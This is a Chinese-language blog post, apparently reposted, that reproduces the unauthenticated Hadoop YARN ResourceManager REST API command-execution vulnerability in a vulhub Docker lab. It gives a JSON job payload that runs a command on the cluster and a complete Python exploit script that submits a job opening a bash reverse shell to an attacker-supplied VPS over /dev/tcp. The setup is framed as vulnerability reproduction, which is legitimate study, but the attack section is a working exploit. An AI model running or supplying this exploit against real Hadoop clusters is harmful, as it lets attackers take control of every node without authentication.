一、漏洞描述
Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)
漏洞产生原因
负责对资源进行同一管理调度的
ReasourceManager
组件的UI管理界面开放在8080/8088
端口,攻击者无需认证即可通过REST API
部署任务来执行任意命令,最终可完全控制集群中所有的机器
二、环境搭建
cd vulhub/hadoop/unauthorized-yarn
启动环境
docker-compose up -d
访问 8088
端口
三、漏洞复现
首先访问(POST
请求) /ws/v1/cluster/apps/new-application
获取 application-id
获取到 application-id
之后,我们访问 /ws/v1/cluster/apps
页面,并且构造 Payload
{"application-id": "application_1659336607746_0001", "application-name": "getshell", "am-container-spec": {"commands": {"command": "ping -c 3 test.clw7xm.dnslog.cn"}}, "application-type": "YARN"}
修改 application-id
的值和你要执行的命令 command
漏洞利用成功
文章来源:https://www.toymoban.com/news/detail-583028.html
四、Exp脚本
# coding:utf-8
import requests
def shell(url,vps_ip,port):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'
}
response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)
id = response.json()["application-id"]
data = {
'application-id': id,
'application-name': 'getshell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)
},
},
'application-type': 'YARN'}
exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)
print("[+] 执行完成!")
if __name__ == '__main__':
url = input("url:")
vps_ip = input("vps:")
port = input("port:")
shell(url,vps_ip,port)
在 vps
上监听一个端口
使用脚本反弹 shell
利用成功,成功反弹 Shell
文章来源地址https://www.toymoban.com/news/detail-583028.html
到了这里,关于Hadoop 漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!